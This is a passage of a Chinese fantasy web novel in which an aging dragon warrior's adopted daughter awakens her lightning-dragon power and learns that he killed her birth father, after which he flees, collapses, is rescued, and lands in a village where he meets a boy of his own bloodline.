图片载入中

【龙战士正传】第五部:达克心灵失守 (34-37集完) 作者:半只青蛙 (2/3)

特大字】 【大字】 【中字】 【小字

【正传第五部:达克心灵失守·第三十六集:希望之星(上卷)】第六章:觉醒

十五天的期限一晃而过,当回复咒文的效力不断减弱,已无法压制两极合一的反噬力后,我的身体却没有出现先前的那种异样,唯一的解释就是那颗魔神的心脏已经发挥了作用。

“我战胜了自己的心魔了吗?”

“也许吧……”

从小克�斯汀瞧我的眼神看,他并不是这样认为的,但没有多说什么。

只有尼诺的那张臭嘴:“你这个恋女狂的臭老头……”

即便我很纵容他,还是毫不客气地一脚朝他踢去,却被小子灵活地躲过。

女儿陪着我在那个小山村�度过了第一个期限,当时我的心�的想法是,如果过不了这第一道死关,那就死在那�好了。

所幸一切顺利,连从前折腾我的心魔也没再出现,那颗心也再未痛过。

期间,卡尤拉曾找过我,她为尼诺而来,谈的还是几年前的老问题。

“尼诺,他应当是继承了你或者我,其中一个人身上的龙战士的力量的,可是他现在都快二十三岁了,暗黑龙的力量也没有在他身上觉醒!”

卡尤拉很聪明,可是她再聪明,到底还是一个母亲,到底还是把帝位的传承看得很重。

我不以为然道:“那不很好吗?不是龙战士的话,说明他也没有象我们一样,不必承受那个诅咒!这是好事啊!”

当我面临生死大限之时,这个一贯镇静得让我佩服的女人,终于也静不下来了。

“可是,这个世界上,拥有八变的潜力的龙战士却有很多!将来,可能会越来越多,而他们都不是魔族!”

“那很重要吗?以尼诺的性子,就算你把这个世界交给他,他也会懒得去管理的,他是将一切都当游乐场的家伙,你和我都了解他的脾气,真的把希望寄托在他身上,你会后悔的。”

“我不喜欢被人摆布命运的感觉!如果没有你,我们,我们母子还有谁可以依靠?知道了你的状况后,你知道吗,我这些天来……”

这些天来,卡尤拉人都瘦了一大圈,原因不说我也猜得出来。对于卡尤拉来说,她最看重的事物有两件,一个是这个国家,尤其是这个国家所代表的魔族的利益,另一个却是我们的宝贝儿子。

当时,我一手摸着卡尤拉头上的白发,哈哈大笑道:“你担心啥啊,我们的儿子尼诺,他不是生下来就拥有六只翅膀的神之御子吗?”

卡尤拉不满地摇头道:“那只是用来宣传骗人的鬼话!他除了人小鬼大外,其他地方和普通的孩子没有区别!”

“真是灯下黑啊!卡尤拉,你看什么都很清楚,却看不明白自己的儿子!不过也难怪,别说是你了,就连他的老师,我的好兄弟小克�斯汀,他也看不透我们的孩子!那个臭小子,他将来肯定会比你我要优秀得多的!”

仰天大笑中,我看了一眼身边,希安也在不住地点头!十八年前,第一次在沈月峡感觉到尼诺身上那深不可测的神秘后,这十八年来,闲着无聊时,我不止一次地和希安联手,想把这个臭小子“看”个明白,却没有一次可以成功的!

“尼诺不是一般的孩子,绝对不是!”

这是我的看法,小克�斯汀也有同感。大概是尼诺从前的荒唐形象在卡尤拉心中太重了,我这么高地评价尼诺,卡尤拉也只是半信半疑,最后悻悻地回到了伯尔达。以她的脾气,估计会想办法去“测试”尼诺来验证我的话。

嘿嘿,那个臭小子整天疯疯癫癫,甚至没大没小地捉弄他老子,这一回就我借他母亲的手,好好地整整他吧!

连我自己都感觉吃惊的是,新年那天之后,我竟难得地恢复了一丝顽皮少年的心态,多年来竟第一次生出想捉弄人的念头。

这一切当然都得感谢女儿弗莱娅,现在她已经几乎是我的全部。

女儿已经十八岁,我也不想她整天陪着我这个垂垂老朽的人窝在一个偏僻的村子�。我劝女儿离开村子,去大城市人多的地方生活,去找寻她的未来,但女儿却不愿意,说要永远陪着爸爸在一起。

十八年来,女儿一直和我在小山村隐居,也许是我的刻意培养,她的性格越来越像当年的希拉,不只是我,罗莎雪芝也都很明确的感觉到了这一点,她们顾虑我的心情,极少对我提及有关弗莱娅身世的事情。

但是,在我又一次整整一天都在痴迷的看着院子�玩耍的女儿以后,雪芝曾问过我:“她身上的紫电龙之力终有一天会觉醒,她终有一天会明白自己的身世,那个时候……”

我没有回答她,只是当时心脏又开始隐隐作痛。要把女儿身上的紫电龙之力完全封印,令其永远无法觉醒并不是做不到,只是这样做的后果会对她的身体造成很大的伤害,我一直不肯这么做。

“万一哪一天,女儿知道了自己的身世……”

就算是最坏的结果,我相信到时候也能坦然地接受,嗯,应当可以坦然地接受吧……

新年后的第二十一天,我们一家人接到波尔多的邀请函,去伯尔达参加他最小的女儿的周岁酒,于是我们全家人一起出动,来到了伯尔达。

比起我那冷清的旧居,波尔多在伯尔达的旧居十分热闹,长女普莉西娅是茉莉所生,今年刚满十四岁,模样和茉莉很相似,脾气性格却酷肖卡玛,十足飞扬跳脱的火爆性格,至于其他几个孩子,也全是活泼好动的捣蛋鬼。

这次由于孩子的周岁酒,波尔多把其他几个龙战士家族的后代全请了过来。我们这一代龙战士中,最后当父亲的人是迪卡尼奥,去年才当爸爸的他喜得千金,经小克�斯汀鉴定,那个女孩正是继承了他铁背龙的龙力,不过想想一个千娇百媚的女孩子浑身肌肉,挥舞惊天锤的样子我就忍不住发笑。而波尔多的五个孩子中,延续碧玉龙之力的人,正是这次家宴的主角,他第五子,也是卡玛的第三个孩子。

第八代龙战士的后代,除拉法和尼诺外,全都尚未成年,一堆未成年的孩子聚在一起,其结果就是将波尔多的家搅得像游乐场一般热闹。

聚会的地点是波尔多家的后花园,一张圆桌,围坐着帝国第八代的六位龙战士。我们六个人谁都没有说话,气氛虽然平静却不压抑,因为大家正微笑地看正在四周嘻戏打闹的一干孩子们。

园子的一角,茉莉抱着波尔多最小的女儿正和迪卡尼奥的妻子说着话,对方怀�同样也抱着一个千金。两个孩子此刻都醒着,年龄较长的波尔多之女,正好奇地伸出小手,想要抚摸比她更小的女孩的脸。

在花园�的常青树下,波尔多老大老二两个孩子则带着乔西的双胞胎在爬杏树玩,而缪斯的儿子则站在树下仰着头看四人的举动。而波尔多的另外两个女儿,此刻和小克�斯汀的女儿并肩站在一起,尼诺正专心地替她们三人画素描。

无论我,波尔多,或者缪斯、迪卡尼奥,还是小克�斯汀和乔西,围坐在桌前的六个龙战士,在心�都不希望彼此的后代重复父辈走过的路。看着融洽地聚在一起玩耍的孩子们,我们心�都感慨万千。

乔西首先开口打破了宁静。

“让下一代继承父辈的仇恨,真是一件非常罪恶的事情!”

波尔多看了我一眼,小声地道:“可惜公主没有来!”

今天他的这个家宴,同样也邀请了如月,但如月却没有参加这个聚会,只是让拉法代表她出席。十八年来如月一直游离于人群之外,和梅丽娅一起默默地住在雷兹空荡荡的坟墓�,除了小公主外,她几乎不和外人接触交往。她像我一样,过着近乎隐居的生活。

说起来如月比我还可怜,我至少有弗莱娅承欢膝下作为精神寄托,而如月的儿子拉法和她的关系却并不好,我一直以来都想不通如月到底是出于一种什么样的心态生下拉法的,是报复?还是母爱的体现?

拿自己的孩子报复我,如月应该不至于,可是要说到母爱,没看出如月哪�像个母亲。根据这些年打交道得来的印象,我也很难把如月和洗衣煮饭的贤妻良母挂上钩。

波尔多心�的想法我大致可以猜得到,他希望能借这个机会化解我与如月间冷冻了近二十年的关系。

我装作没有听见,把目光投到园内的其他地方。

卡玛和雪芝这对好朋友这时正和罗莎一起坐在另一张桌前拉着家常。对于父亲神秘的死亡,以及他从前对我和希拉做过的事,这些年来卡玛已经知道了一些真相。对于我,她的心态很复杂,一方面我是她的杀父仇人(虽然希美亚公爵是死在小克�斯汀手�,但记在我头上也没错),另一方面她也为父亲所做的事深感愧疚。矛盾冲突之下,她只能对我避而远之,除非万不得已,否则,她尽量回避着我,而我也识趣地尽量不和她照面。实在不行因为意外而见面了,我们也只是彼此礼节性地一笑。

这种保持最远距离的“陌生人”关系,应当是我和她之间最好的选择。有些事,扯破了大家脸上都不好看。

至于让我关注另外的两个人,我的另一个“儿子”拉法,这时他正和女儿弗莱娅低声说着话。从前在我面前不敢�头说话的拉法,一直受到他的“哥哥”和“姐姐”的保护。

大多数一夫多妻的家庭中,子女们的关系都并不好,但是在我家�却是个例外,堪称兄友弟恭的典范,似乎我和他们的三个“娘”都没有对他们进行过这方面的教育,可是姐弟三人的关系却非常融洽。

我把注意力到他们身上,偷听二人的交谈。

“阿姨又没来吗?”

“母亲只是让我代替她过来。”

“二十年了吧?爸爸和阿姨他们互相……”

后面的声音突然模煳起来,我再怎么施法也听不清,接着我就听到小克�斯汀在耳旁念叨:

“大哥,偷听小孩子聊天是很不礼貌的行为啊!”

我知道是这家伙在边上干扰破坏,我没好气地白了他一眼,这十八年来,我最想踢屁股的人不是尼诺,而是我的这个好兄弟小克�斯汀!每次我想找点“有趣的事”做做时,他总是在边上搞破坏,遗憾的是,虽然我十八年前就想踢他屁股,却一次都没有成功过……

我把注意力拉回到围坐的六人身上,却听到波尔多在叹气:

“每次孩子出生时,我都很担心,担心他象我们一样,继承那种被诅咒的力量。前面四个孩子都是没有力量的凡人,我本以为逃过了,谁知道这个孩子,嗨……”

和我一样,波尔多也不希望被诅咒的命运再在下一代身上延续。

乔西叹了口气:“我的两个孩子,小菲利浦很羡慕哥哥拥有龙战士的潜力。其实,那种超越世界的力量,只是那个时代的产物,它确实不该再延续下去了。”

缪斯和迪卡尼奥没有答话,两人则同时把目光投向了小克�斯汀,他是我们这一代中唯一个凭借自己的力量解开诅咒的人,而且他的后代也没有传承诅咒。

小克�斯汀复杂的目光在我们几个脸上一一扫过,悠悠叹道:

“其实,被诅咒的龙战士是幸运的,没有被诅咒的龙战士才是不幸的!”

波尔多往他胸口上猛锤一拳,笑骂道:“标准的站着说话不腰痛!”

“我是认真的!”

小克�斯汀受了他一拳,苦笑着摇头道:“如果龙战士能在一百岁的时候才开始第七变,诅咒在他们一百岁的时候才发作,那么,每个被诅咒的龙战士,都是幸运和幸福的!”

我猜到了答案,却还是问道:“为什么这么说?”

“因为不老不死才是最可怕的诅咒!”

小克�斯汀的回答并不出乎我意料,众人也听明白了他的意思,大家一阵沉默。

围坐在此处的六个龙战士,都已是五十左右的“中年人”,也都已经完成了第七变,但我们的模样,还是保持着十八岁时青春年少的状态。由于新人类的青春期可以持续到八十岁,周围的那些身为“凡人”的亲人们,虽然目前还看不出老态,但是他们毕竟是凡人,终究还是会老,会死……

魔神路西法,拥有世间最强的力量,他连逆乱因果完全境界的诱惑都战胜了,可是最后还是故意死在我的“过去未来拳”之下,也正是因为无法承受不老不死的悲哀。当你看着身边的亲人朋友一个接一个地衰老,死去,自己却青春依旧的时候,你就会明白,其实不老不死,才是世间最可怕的诅咒。

由于一直以来受困于终极回复咒文二十年的期限,我从未设想过如果自己不老不死会是何种景况,小克�斯汀这么一说,我也想起了自己的悲哀。

“算了,不去想了,反正我又活不到那天!”我皱了皱眉。

“那该怎么办呢?”

一个怪怪的声音突然插了进来,是尼诺,这个臭小子从后面将整个身子攀在了波尔多的背上。

“亲爱的叔叔,抱抱尼诺吧!”

他用肉麻得令人毛孔直竖地“嗲声嗲气”向波尔多撒娇,惊得波尔多虎躯巨震,再震,连震三下将他震了下来,接着有人从后面抓住尼诺的耳朵,狠狠地用力拉扯着。

“搞什么鬼,你这变态小子,画没画完就跑过来抱变态大叔!真是越来越低级了!”

“哇,轻点,好痛啊!”

能把尼诺压得死死的人,是小克�斯汀的女儿妮妮,也不知道温和的小克�斯汀怎么会生出这么一个火爆的女儿,她是这世上唯一一个能让尼诺安份老实的人,至于无辜地被安上“变态大叔”头衔的波尔多,只能苦着脸对小克�斯汀摇头苦笑。

“被她的母亲宠坏了……”

小克�斯汀抱歉地对着波尔多耸耸肩,因为被尼诺中途插话打断,我们没再谈论这个令人头痛的问题。

那天,直到最后散场,如月一直没有出现。

因为小克�斯汀的挽留,当晚我们没有马上回家,暂时借住在小克�斯汀家中。今晚的聚会,因为谈到了一些沉重的话题,我的心情不是太好,于是在散场后一个人偷偷地熘了出来,在伯尔达城内漫无目的地闲逛着。女儿没有跟着我,她被妮妮拉去逛伯尔达的夜市了。

一个人单独地走在街上,我无聊地一家商店地逛过去,仔细算算,我已经整整二十年没有象现在这样单独逛街了。逛街的时候,我突然发觉,街上来往的行人中,几乎都是成双成对,沿街的商店,更是有不少打出了“情人节礼品特价五折优惠”的招牌。

“今天是情人节?”

恍惚中,我方才忆起自己这二十年来,好象这个很重要的节日都忘记了。

“小公主,雪芝,罗莎,我好象很多年没送给她们礼物了……”

忆起过去,我这二十年来的生活真是一团糟,这些日子因为女儿的关系,我方才渐渐开朗起来。想到这一点,我连忙找到一家最大商店,精心挑选了几件情人节的礼物准备送给她们。

看到在礼品盒上写下三个不同的名字,付帐的时候,那个男售货员冲着我猥琐地发出不可言传的嘿然一笑,竖起大拇指做佩服状。

“兄弟,厉害!”

“呵呵,送给家�的女人的……”

从前的我,满身死气,除了尼诺外,从来没有人在我面前开玩笑。但现在,一个凡人却毫无顾忌地冲我开玩笑,我能感觉到,自己的心态正在发生变化,现在的我,可以对着普通人笑了。

“这一切是女儿的缘故啊!女儿,我的救世主!”

想起女儿温柔的笑容,我的心�暖洋洋的,心想也该为她挑一件礼物。

就当我抱着一堆的礼物兴冲冲跨出商店的大门时,脑中的龙之魄突然一阵颤动,一种极不妙的异样感报警般地由心�生出。

“这种感觉,是共鸣!有人的龙战士的力量正在觉醒!啊,是紫电龙的力量!”

“女儿现在应该正在逛街,难道她的力量就在刚才觉醒了?”

啪嗒一声,礼物从怀抱中掉到了地上,我的心在感觉紫电龙龙力觉醒的瞬间,一下子跌到了谷底。

“不!不!”

我害怕得全身都发起抖来,这二十年来,自认已经没有什么东西可以再失去的我,却又一次生出自己将要失去一切的感觉。

“不要觉醒,不要啊!”

在感应到紫电龙龙力的第一时间,我不顾一切地奔跑在闹市�,并且瞬间将八变的力量提升到极限,力量在急剧提升下所产生的冲击波激得四周惊叫连连。

“女儿,别离开我!”

仗着八变的力量,我迅速地锁定弗莱娅的在城内的方位所在,一个瞬移出现在她面前。

当我瞬移到女儿所在的那家礼品屋�时,看到的却是身体悬浮在半空中的弗莱娅,她的背上,一对肉质龙翼张开扇动着,那对黑魔族血统象征的紫色眼睛,此时已化为龙战士独有的金色。

弗莱娅的双手,此刻雷电缠绕,一圈接一圈的蓝色电弧,在手腕和手肘间来回徘徊震荡,虽然没有修炼过赫克托尔的紫电破神拳,但他雷属性的力量还是遗传到了女儿身上。

我还是来迟了!

小克�斯汀的女儿妮妮张大了嘴,一脸惊讶地站在一旁,不知所措地看着同样不知所措的弗莱娅。弗莱娅的脚下的地上躺着一个刚刚包装好的礼品盒,盒上还粘着一张字条。

“送给爸爸和妈妈的礼物!祝爸爸和妈妈情人节快乐!”

看到震惊的我,女儿呆住了,许久,她才颤抖地问我道:

“爸爸,这应当是紫电龙的力量吧?我怎么会拥有紫电龙的力量?”

我的脑子一片空白,对于这一天,我曾经准备了无数的谎言,可是此时此刻事情发生时,脑子�却完全是一片空白,不知该如何隐瞒。

一声悠长的叹息,小克�斯汀的声音在我背后响起。

“该来的,终究要来!该躲的,终究躲不过!大哥,逃避了二十年,现在的你,已经无处可逃!”

这时的我,已经什么都听不见了!

“女儿,我要失去她了……”

那颗不属于我的心脏又开始作痛了,那种失去一切,世界末日的感觉又来了……

【正传第五部:达克心灵失守·第三十六集:希望之星(上卷)】第七章:无路可逃

这种些年来,为了掩盖弗莱娅身世的真相,我曾通过卡尤拉下令,严禁帝国内任何人提起紫电龙赫克托尔这个名字,更是极力避免有人在女儿面前提到这个名字。

然而我千防万防,在女儿十岁那年,紫电龙赫克托尔。埃莫斯这个名字,还是传入了她的耳朵。原因,是当年赫克托尔埋下的那颗种子,经过最初几年的蛰伏期后,终于开始萌芽,成长。

赫克托尔用自己的死,成为了那些反对卡尤拉魔族政策的人精神领袖。在许多魔族的心中,他的形象被一再拔高、神化,最后提升到和魔神路西法相当的地步。魔族�那些赫克托尔的崇拜者和追随者们,这十年来更是竭尽所能反抗着卡尤拉统治,这十年来,更诞生了一些“怪胎”般的反抗组织。

那颗赫克托尔当年播下的种子,经过十余年的蛰伏,生出来的怪胎是多种多样。一些死抱着魔族利益至上的极端民族主义者们,他们强烈地反对魔族和人类和平的相处的政策,更极尽所能的破坏卡尤拉的统治,除了煽动民众发动起义之外,破坏与暗杀是他们最常用的反抗手段。虽然这些人的做法一次又一次地遭到了卡尤拉掌握的国家机器血腥镇压,但是这些反抗者们还是象苍蝇一般,杀掉一批又一批,始终无法清理完毕。

这些针对性的暗杀,不仅是针对支持卡尤拉的帝国或魔族的官员,也包括卡尤拉和我,到最后甚至涉及到了我的家人。一些狂热的反抗者们,就曾周身绑满炸药冲向卡尤拉的座车,充当人肉炸弹。类似刺杀事件这些年来不但没有平息,反有愈演愈烈的迹象,最后也波及到了我。

就在五年前,一个狂热者就采用类似人体炸弹的方式冲向我和弗莱娅展开自杀攻击。这些反抗者们知道杀不死我,但他们也知道我对女儿的宠爱,能伤了她让我伤心难过也是好的。当时幸好我及时察觉制止住了,我一怒之下这十八年第一次也是唯一次大开杀戒,包括刺杀者在内相关的数十位同谋者全被我杀得干干净净。

那个刺杀者在当时在弗莱娅面前高喊着自己是赫克托尔的追随者,也就是从那天起,紫电龙赫克托尔这个名字第一次进入了女儿的耳朵。而后的数年,以赫克托尔追随者自居的,被卡尤拉称作“恐怖份子”的反抗者们不停地在帝国制造爆炸和暗杀事件,越闹越大,紫电龙赫克托尔的生平事迹终于还是让女儿得知。

知道紫电龙是死在我手上后,女儿好奇地问我道:

“爸爸,紫电龙赫克托尔是个什么样的人?为什么那些恐怖份子都自称是他的追随者呢?”

虽然早就预感到会有这一天,但我当时心中还是异常地恐慌,我用多年前早就想好的说辞向女儿解释道:“赫克托尔,他是个英雄,魔族的英雄。”

然后,我将赫克托尔死亡前后的经过和女儿详细地说了一遍。

“民族利益,个人的信念,真的就比家庭更重要吗?而且当时,他自己也认为妈妈的做法没错,为什么还要用这样的极端的方式选择死亡呢?”

年幼的女儿,当年还无法理解赫克托尔的作法,不过她问起此事也只是出于好奇,可是在结束询问之前,她感叹说了一句。

“我听说在死前,他的妻子怀孕了,他这样随随便便地就去死了,他的妻子和那个没有出生的孩子,将来一定可怜吧?”

女儿只是随口说说,我在一旁却听得心惊胆颤,装模作样感叹道:“是啊!真是有点不负责任啊!”

“如果换成是爸爸处在他那时的情况,我知道爸爸一定不会作出他那样的选择的!”

“那当然了!你和你的妈妈,我的家人,都是我的全部!对我来说,没有什么比你们更重要的了!”

当时,事情的开始让我胆战心惊,最后的结局却是以喜剧收场,听了我的话之后,女儿很开心地将身体靠在我怀�。

“知道吗?爸爸!每年看到爸爸躺在雪堆�的时候,弗莱娅很羡慕她们呢!能让爸爸这样怀念她们,她们一定是非常好的女人吧?”

当时,被女儿提起了我最不愿意回忆的往事,我心中无限酸楚之余,却还是点头而肯定地回答道:

“那当然了,在我心中,没有比她们更完美的女人了!我对她们的爱和思念,随着时间的推移只有变得更多。”

“比对妈妈的还多吗?”

对于这个问题,我没有回答,只是举起面前的那杯苦艾酒,慢慢地饮下。如今的我,终于也能体会碧姬阿姨当年独饮苦艾酒时的心情。

看着我默然不语的样子,女儿托着下巴自语道:

“将来弗莱娅要是也能成为这样的女人就好了!”

那一年,女儿十三岁,正是她情窦初开的年龄。

※※※ ※※※ ※※※ ※※※ ※※※

“爸爸,我怎么会拥有紫电龙的力量?”

女儿又问了一次,可是我现在脑子一片空白,始终不知该如何答她才好。

“因为你是紫电龙赫克托尔的女儿!”

小克�斯汀给了女儿确切的答案。

“叔叔,你说什么?”

女儿震惊的表情就和我几乎是一样的,小嘴张成了O型。

“你的母亲生你时难产,你是我亲手接生的……在生下你后不久,她就死了!后来大哥收养了你……”

“我真的是紫电龙的女儿?”

女儿一脸惊慌失措,一瞬之间,最敬爱的父亲一瞬间变成不共戴天的仇敌,巨大的反差并不是那么容易接受的。

震惊过后,女儿突然笑了,她扑上来,抓着我的手臂,用近乎于哭的声音对我道:

“爸爸,这一定是个玩笑,一定是尼诺的鬼主意,你听了他的话,和我开玩笑?”

我默然,这个时候,我能说什么?

“你的紫电龙之力,早在几个月前就该觉醒了,只是那时我让你的克�斯汀叔叔帮忙,将这时间延后。”

小克�斯汀走到呆住了的弗莱娅面前,伸出右手,食指在她的额上轻轻地一点,将一缕讯息注入她的脑海�,我知道小克�斯汀给她的讯息是什么,是赫克托之死的经过,以及弗莱娅出生前后发生的那些事情。

他对她道:“是时候该让你知道真相了。”

我呆呆看着女儿,数秒后,弗莱娅先是身体一抖,然后象是被什么东西猛击了一下似地,捂住头歇斯底�地尖叫起来。

※※※ ※※※ ※※※ ※※※ ※※※

“那一天终于还是到来了!当年你收养她时,应当已经猜到今天这个结局了吧!”

我坐在椅子上,脑袋低垂,双手插进头发�,目光却斜视着望昏睡在床上的弗莱娅,她的胸脯有规则地起伏着,睡得很安详。知道了自己的身世之后,女儿的情绪极其激动,最后是小克�斯汀只好将她弄晕,送回我在伯尔达皇宫外的府邸。和我说话的人是卡尤拉,知道这事后,她倒是表现得极为冷静。统治风之大陆十八年,她的心志已被磨炼得坚如铁石,如今已很难有什么能令她精神失措,对于今天发生的她更是早有心理准备。

“小克�斯汀给她施了安眠魔法,效力只能持续到明天清早,醒来之后,你打算怎么面对她。”

卡尤拉就站在我身后,她双手抱着我的头,让我的脸贴在她的小腹处,双手放在我的脸上轻轻地抚摸着,现在的她,既象是一个正在安慰丈夫的妻子,也象是抚慰儿子的母亲。她真是一个聪明的女人,总是能在任何时候扮演好恰当的角色,难怪在她面前我总是无可奈何。

我麻木而颓然地答她道:

“如果她要我的命,我会给她!”

“真是很不负责任的答复啊!把命给她?你怎么不考虑一下我的想法,没了你,我该怎么办?”

象赌气似地,卡尤拉的手指在我的脸上狠掐了一把。

我无能地答道:“我知道这十八年来一直债台高筑……”

“这十八年来,你不停地逃避过去,逃避自己……你的兄弟说得没错,今天的你已退无可退,逃无可逃了,该面对的东西你必须去面对!”

卡尤拉松开手,转过身走出房门,临出门前她回头对我道:

“给你个建议吧,在弗莱娅的心�,你一直是疼爱她的父亲,所以,你选择她作为结束你生命的人是很愚蠢的!明天你最好换一种想法面对你的女儿!”

门合上了,外面传来尼诺的惨叫声,正躲在外头看热闹的他被卡尤拉抓着,揪着耳朵拖走,只留下我陪着熟睡着的弗莱娅在渡过这漫漫长夜。

※※※ ※※※ ※※※ ※※※ ※※※

天亮了!

一夜未睡的我陪在弗莱娅身旁静坐了一夜。我没有睡,卡尤拉也没有睡,她此刻就坐在不远处一个房间�窥视着这�。她只是嘴硬心软,我需要帮忙时她还是会在第一时间赶过来的。

当第一缕晨光撕破黑暗,射入屋�的时候,昏睡中的弗莱娅眼皮颤动,缓缓睁开。

当女儿的明眸缓缓睁开的瞬间,一直看着她的我心中没由来地惧意大生,我哇地一声大叫,竟撞碎房门落荒而逃。

是恐惧,极度地恐惧,恐惧女儿会不再认我这个父亲,害怕弗莱娅会视我为仇敌,那种心理就象是我惧于承认自己要为希拉母子的死承担一定的责任一般……我再次选择了逃避。

我变了身,展开六翼,以最快的速度向北飞驰着,心灵的恐惧化为恶魔,死死地扼住了我的咽喉,让我无法唿吸。我必须飞到那�,飞到那片枫树林�,那处世间唯一能让我感受到一线温馨的避风港。

一路北去,那颗不属于我的心脏一直痛个不停,而两极合一带来的反噬,也伴随着窒息感再次发作,一路上我背上的三对翅膀一只接一只地炸碎,当我到达风都附近时,我已失去了所有的翅膀,象鸟儿折翼一般从空中落下,一头栽进了下面的枫树林�。

躺在我的身体砸出来的土坑�,看着四周光秃秃的枫树林,全身骨头尽碎的我惊喜的发现,这片树林正是当年我与安达初识之处。

创造与毁灭,两个极端的力量在体内纠集成一团肆虐着,那种痛苦绝对不亚世间任何一种酷刑。比这更糟糕的是,十八年前曾将我折腾得死去活来的心魔,那个让我无比恐惧的家伙,他也在这时冒出来了。从前,自从我收养了弗莱娅之后,他就不再出现,但今天,在失去了弗莱娅,我的女儿我的天使之后,他却再次出现在我的身边,让我心酸、让我颤抖,让我求生不得求死不能……

我的肉体和精神已全面崩溃,守护我的最终回复咒文效力还有一点点,却已无法挽回我如同风中残烛的生命。

我躺在地上,两眼空洞地看着灰色的天空。小克�斯汀已经赶来,他一直都跟在我附近,但此刻也放弃了对我的救治。这时的他正站在我身边,一手光明,一手黑暗,他正准备“弹奏”那招为濒死者送行的“安魂曲”……

“月渎,对了,就是这一招了!”

我开心地笑着,同时在心�咒骂着做事婆婆妈妈的小克�斯汀,这混蛋早在十八年前就该对我用这一招,却偏偏拖到了现在!怀着家人团聚的美妙幻想快乐地死去,这不正是这我十八年来一直梦寐以求的吗?

来吧,来吧,快点完成这招魔法吧!我的眼睛已经模煳地看着那些逝去了的亲人们的身影!快啊,小克�斯汀,快点完成这招繁琐冗长的魔法吧!啊……你的手为什么停下了,你在犹豫什么?为什么在最后一刻停下来了?

啊,这种感觉,这种力量,是神龙王的力量!混蛋,是那个女人的力量!

美妙而幸福的一刻就将到来,却在最关键时刻被停止了,我随即明白了这是怎么回事。

“滚开,你这个贱人!不要打扰我和爱人团聚!我才不想受到你的恩惠!”

我大叫着,却无法阻止那个女人把我从地上抓起,举到空中,接着一只金色拳头狠狠地轰在小腹处。

“公主,谢谢你的力量!”

是小克�斯汀感激的声音,接着一只手掌按上那颗魔神赠送的心脏,得如月之助,再加小克�斯汀的帮忙,这颗不属于我的心脏再次发挥功效,自动地调节起我体内两极力量。

我的身体翻转着,高高地向着天飞抛,脸朝大地的瞬间,我的意识已重回肉体,那一刻,我看到了那张让我恨了整整二十年的面孔。

那张带着伤疤的面孔还是那样的令人讨厌,无比冷漠和刚硬,看不出丝毫女性应有的温柔。

“混蛋!”

我对着她骂了一句,结果却换来她狠狠的一脚。

出脚的瞬间,她对我道:

“我只是不想你死得太幸福!”

这个女人出脚好狠,她凌空跃起,一个�腿重踢,狠狠地将我踹到空中的浮云上端。

我的身体被高高地踢向空中的时候,却听到了尼诺那招牌式的怪叫声:

“为了漂亮的妈妈高兴,变态老爸,对不起了!”

当我被如月凌空踢飞时,不知从哪�钻出来的尼诺,又在半空中补上了一脚,重重地踢在了我的屁股上。

虽然那个魔神的心脏正在发挥功效,但身体正处在恢复中的我此刻半分力量都使不出来,只能任人摆布,我的身体在空中划出一道长长的弧线,朝西南方飞去。

“尼诺,那个臭小子这回又在玩什么花样!”

由飞行的轨迹判断,如月和尼诺的这两脚,至少将把我踢到千公�外。“飞翔”在空中,朵朵白云不停地在身边飘过。尼诺不简单,我知道他这一脚绝对不只是因为“好玩”,我知道他这一脚绝对是“别有用心”,只是暂时无力可施的我,只能顺着惯性让身体飞向陌生的目的地。

【正传第五部:达克心灵失守·第三十六集:希望之星(上卷)】第八章:救赎

“轰!”

带着巨大的冲击力,我的身体头朝下脚朝上和大地再次来了个亲密接触。我恢复力量,治好身体上的伤,已是二十分钟后的事。

受到如月和小克�斯汀的联手压制,两极合一的反噬已暂时消失,折腾我的心魔也不见了,但谁也说不准下一次何时发作。

环顾四周,我发觉自己身处在一片山谷中,这�靠近阿拉西亚南端的连云山脉,且由于靠近海洋,气候比北方要温暖得多。伯尔达还是白雪皑皑的冬天,这�却已早已进入了冰雪消融,万物萌芽的春天。

我落下的地点,是这片凹型山谷的盆地处,由高空落下,我的身体在地上在砸出一个硕大的坑,同时发出轰隆的巨响。我瞧了瞧四周,冬雪初融,回复生机的大地处处显出片片绿意。一股清澈的山泉,发出叮咚响声,横穿过盆地奔腾着流向远方。在溪流的尽头,我看到了几间房子。

看得出来,这是一处位于深山中,交通不太便利的小山村。我从天而“降”引发的巨响已经惊动了山谷�的居民,当我环顾四周的时候,意外地发现,周围有几双充满童真的眼睛正好奇地打量着我。

十数步外的一处灌木后,探出了几个孩童的脑袋,他们个个睁大了眼睛偷瞧着我。当我的目光扫到他们身上时,这些孩子“哇”的一声发出怪叫,然后一哄而散。

“白发妖怪来了,白发妖怪来了!”

借着清澈如镜的溪水照了一下脸,我才发现自己束着头发的绳子已经脱落,及腰的长发完全披散开来,加上那惨白得几乎没有一丝血色的面孔,我如今的样子确实有些骇人。

“这头长发,留了十八年了……”

对着溪水,手�捋着大把白发,我动了将其斩去的念头,最后还是留下了。尼诺留长发只是觉这样潇洒好看,而我则是纪念希拉——以前我对希拉说过我喜欢长头发的女孩,为此她特地为我蓄起了长发。我理了理头发,右手吸收自然界�魔法元素变出一根细绳,将头发随便地绑在一起。我正在做这事时,一个悦耳的童音在我背后响起。

“阿姨,你是从天上来的吗?”

一句话激得我浑身剧震,差点一头栽进水�,我板起脸,以最凶恶的模样,缓缓地转过身。

“看清楚了,是叔叔不是阿姨,我是男的!”

刚刚咬牙切齿地对着这个犯下巨大错误的孩子说完话,我凶恶的表情马上就凝固住了。因为这个叫我阿姨的孩子竟长得和幼年时的尼诺有七分的相似。

我在心�嘀咕道:“真的很象尼诺……”

我惊讶地蹲下身子,把伸出右手搭在这个男孩的肩膀,凶恶的表情已极力地舒缓开来,努力地转化为亲切,当我的手指和男孩身体接触的瞬间,一种血肉相连的感觉由指尖传来,没错!这孩子身上确实流着和我相同的血液!

“小鬼,你叫什么名字?”

这个和尼诺很相象的孩子一点也不怕我,好奇地伸出手,抓着我的头发的末端,放在面前仔细地看了几眼后,惊讶道:“真有人的头发,可以长得这么长!只是,叔叔你为什么是男的而不是女的呢?尼诺哥哥明明告诉过我,说是有个阿姨的头发……”

“尼诺?是不是一个长得和你有点象,留着马尾巴辫子,喜欢穿着浴袍到处走的家伙?”

“是啊!”

男孩不住地点头,又道:“尼诺哥哥几天前还在这儿陪我玩,妈妈也很喜欢他!只是……”

“只是什么?”

“妈妈不喜欢我叫他哥哥,总是要我叫他叔叔!不过村�的大人们背后都叫他变态怪叔叔!”

听到这儿,我已经明白了一大半,尼诺来过来这儿,他把我送到这�也是别有目的,只是,面前这个流着和我相同血脉的男孩,他和我到底是什么关系?

“难道他是尼诺的私生子?”

这是我的第一个念头,这很有可能……

我又问了一句:“你叫什么名字?”

男孩答我道:“我叫维特,维特。克莱亚!”
